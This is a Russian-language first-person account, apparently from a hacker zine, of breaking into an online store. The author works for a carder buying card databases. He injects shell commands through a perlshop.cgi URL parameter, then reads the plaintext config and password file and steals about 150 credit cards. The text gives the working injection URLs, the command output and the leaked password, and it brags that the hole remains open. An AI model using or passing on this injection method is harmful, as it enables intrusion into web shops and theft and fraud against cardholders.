Некоторое время назад, работал я с человеком, который занимался обналичкой кред.
Он мне давал адреса интересующих его шопов, ну а я
соответственно отсылал ему базы за некоторое количество вечнозеленых единиц.
Однажды мне встретился интернет-магазин с perlshop.cgi. запросы он обрабатывал
вот так:
http://www.xxx.com/cgibin/perlshop.cgi?ACTION= enter&thispage=index.html&ORDER_ID=!ORDERID!
Просматривал я его на работе, так что возможности запустить nmap или ХSpider у
меня не было. Искать исходники скрипта в инете я не стал, оставив это на потом.
Решил проверить насколько корректно обрабатывает запросы скрипт.
Ввожу команду ls в ACTION:
http://www.xxx.com/cgibin/perlshop.cgi?ACTION= |ls;&thispage=index.html&ORDER_ID=!ORDERID!
и вижу:
Input ACTION is |ls;
Input ORDER_ID is !ORDERID!
Input REDIRECT_URL is
Input THISPAGE is index.html
Invalid Transmission 3 received from customer IP мой ip
If your connection was interrupted, you must enter the shop from the beginning.
Internal error: Order ID is '!ORDERID!'.
Попытался подставить ту же команду в thispage:
http://www.xxx.com/cgibin/perlshop.cgi?ACTION=enter& thispage=|ls;&ORDER_ID=!ORDERID!
и вижу листинг директории cgibin:
CLEAN _borders _private _vti_cnf _vti_pvt agentman.mid badboys.mid banner2z.jpg
catalog cgiemail.cgi contact.htm contact.txt contact3.html customers fade.class
id id1.jpg id2.jpg id3.jpg id4.jpg images log lvletdie.mid mission.mid notes
orders pageflip.class perlshop.cgi plugins pomp.mid print.js ps.cfg ps_cart.pl
ps_checkout.pl ps_clean.cgi ps_create.cgi ps_email.pl ps_plugin_gencal.pl
ps_search.pl ps_transact.pl pscr.cfg pscr.cgi pscr.dat showenv.cgi solo_a.jpg
temp_customers temp_orders tokens waybkgnd.gif
Глаз узрел директории с заманчивыми именами: temp_orders; temp_customers;
orders, а также несколько файлов с интересными именами: pscr.cfg; pscr.cgi; pscr.dat.
Команда cat наотрез отказывалась работать, и тогда я решил просмотреть содержимое этих файлов через браузер:
http://www.xxx.com/cgibin/pscr.cfg
Команда выдала мне много интересной инфы:
#Location of your Customers Directory
#Path is relative to the directory where
#this script is running
$customer_directory = 'customers';
#Address of you server
$server_address = 'http://www.xxx.com';
#Directory where the script is located
#Leading slash MUST be present!
$cgi_directory = '/cgibin';
#Address of your secure server
#This address MUST include the path to the cgi-bin directory
$secure_server_address = 'http://www.xxx.com/cgibin';
#Path and filename of the password file
#Path is relative to the directory where
#this script is running
$password_file = 'pscr.dat';
#Return Page is the html page you want
#loaded when the script ends
$return_page = 'http://www.xxx.com/index.html';
#Your Company Information
$company_name = ' xxx';
$company_address = 'P.O. Box 75156';
$company_city = 'Chicago';
$company_state = ', IL';
$company_zip = '30641';
$company_phone = '';
$company_fax = '847-894-9842';
$company_email = 'info@xxx.com';
$company_http = 'http://www.xxx.com';
Естественно внимание привлекла сразу строка: $password_file = 'pscr.dat'.
Ввожу:
http://www.xxx.com/cgibin/pscr.dat
и получаю:
958guy
пароль лежал в открытом виде :-). Осталось только его ввести.
Набираю:
http://www.xxx.com/cgibin/pscr.cgi
и вижу перед собой страницу авторизации:
PSCR Log In
Password:
PSCR 1.1 Beta 1 (perlshop customer reader)
courtesy of Puter-Teks copyright © 2000.
All rights reserved.
Внутри лежало сотни полторы кредиток, ставших хорошим призом к окончанию рабочего дня.
З.Ы. Дыра жива и по сей день, а сам интернет-магазин я продал, потому и не указываю здесь его урл.
Неудобно будет перед его новым совладельцем.